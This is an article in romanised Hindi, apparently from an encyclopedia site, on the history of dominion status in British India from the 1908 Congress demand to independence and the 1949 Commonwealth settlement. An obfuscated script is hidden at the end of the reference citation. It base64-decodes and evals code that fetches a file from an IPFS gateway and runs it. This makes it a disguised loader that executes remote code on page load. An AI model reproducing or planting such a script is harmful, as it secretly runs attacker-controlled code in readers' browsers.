औपनिवेशिक स्वराज्य
aupaniveshaki svarajy (dominiyan stetas) ki maang bharatiy rashtriy kaangres ne pahali bar 1908 ee. mean ki thi. us samay isaka arth keval itana hi tha, ki antarik mamaloan mean bharatiyoan ko svashasan ka adhikar diya jae, jaisa ki british samrajy ke aantargat kanada ko prapt tha. kintu british bharatiy sarakar ne is maang ko svikar nahian kiya. 21 varsh ke bad, 31 aktoobar, 1929 ee. ko vaisaray l aaurd iravin ne ghoshana ki ki, bharat mean sanvaidhanik pragati ka lakshy aupaniveshik svarajy ki prapti hai. kintu 'aupaniveshik svarajy' ke svaroop ki spasht paribhasha nahian ki gee. phalat: bharatiy rashtriy kaangres ne is prakar ki aspasht aur vilambit ghoshana par santosh prakat karane se iankar kar diya.
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svarajy ki ghoshana
kaangres ne varsh ke aant mean apane lahaur adhiveshan mean bharat ka lakshy 'poorn svadhinata' ghoshit kiya. is prakar bharat aur briten ke bich ki khaee badhati hi rahi. aupaniveshik svarajy ki ghoshana yadi 20 varsh pahale hi ki gee hoti, to kadachit vah bharatiy akaankshaoan ki poorti kar deti. lekin dvitiy vishvayuddh ke poorv badalati huee aantarrashtriy paristhitiyoan ke sath badhate hue rashtravad ko aupaniveshik svarajy ki ghoshana santusht n kar saki. isake bad bhi 6 varsh tak british sarakar ne us ghoshana ko lagoo karane ke lie kuchh bhi nahian kiya. aant mean jab 1935 ka 'gavarnameant af iandiya ekt' samane aya to vah kee drishtiyoan se aupaniveshik svarajy ke vade ki poorti nahian karata tha.
vaisaray ko naye adhikaroan ki prapti
naye shasan vidhan ke anusar kendr mean dvaidh shasan ki vyavastha ki gee thi, jisake aantargat videsh vibhag aur pratiraksha vibhag adi par nirvachit vidhan mandal ka koee niyantran nahian rakha gaya. doosari bat, is shasan vidhan mean vaisaray ko anek nirankush adhikar pradan kiye gaye the. tisari bat, bharatiy vidhan mandal dvara parit adhiniyamoan par british samrat ki svikriti avashyak thi. british sarakar ukt adhiniyamoan par svikriti dene se iankar bhi kar sakati thi. is prakar ke pratibandhoan se spasht tha ki, bharatiy shasan vidhan (1935 ee.) mean aupaniveshik svarajy ki jo kathit vyavastha thi, vah 1931 ee. ke 'stetyoot aauf vestamistar' ke aantargat aupaniveshik svarajy ki paribhasha se bahut nichale darje ki thi. is stetyoot ke aantargat antarik mamaloan mean upanivesh ki prabhusatta ko svikar kiya gaya tha aur vaideshik mamaloan mean poorn svashasan diya gaya tha, jisake anusar upanivesh ko videshoan se sandhi karane ka avadh adhikar prapt tha. sath hi yuddh adi mean tatasth rahane aur british samrajy se alag hone ka adhikar bhi upanivesh ko diya gaya tha.
bharatiyoan ki asantushtata
aupaniveshik svarajy nihit uparyukt samast adhikar 1935 ee. ke 'gavarnameant aauf iandiya ekt' mean nahian pradan kiye gaye the, atev vah bharatiy janamat ko santusht karane mean poornataya viphal ho gaya. isake alava shasan vidhan mean sampradayik pratinidhitv ke siddhant ko is prakar vikasit kiya gaya tha ki, usane bharat ke bhavi vibhajan ki spasht adharashila taiyar kar di gee. aisi avastha mean sar staifard krips ne jab 11 march, 1942 ee. ko aupaniveshik svarajy ke lakshy ki ghoshana ki pun: ki, to bharatiy rashtravadiyoan mean usase koee utsah nahian utpannh hua.
svatantrata prapti
dvitiy vishvayuddh mean jab briten ko dhan-jan ki ghor hani pahuanchi aur bharatiy rashtriy aandolan tivr se tivratar hota gaya, to use 1931 ee. ke stetyoot af vestamistar ke aantargat bharat aur pakistan ko poorn aupaniveshik svarajy dene ki ghoshana karani p di. 15 agast, 1947 ee. ko bharat ne british rashtramandal ke aantargat poorn svadhinata prapt kar li. yah sthiti 1949 ee. mean aur adhik spasht ho gee, jab bharat ko sarvabhaum prabhusatta sampann svadhin ganarajy ke roop mean manyata pradan kar di gee. bharat ne svechchha se rashtramandal mean bane rahane ka nirnay kiya. usane ghoshana ki ki, vah shanti, svatantrata aur pragati ki niti se apane ko alag nahian karega aur british samrat ko rashtramandal ka pratik adhyaksh svikar karega aur jab bhi vah apane hit mean rashtramandal se alag hona avashyak samajhega, use alag hone ka poora adhikar hoga.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 68.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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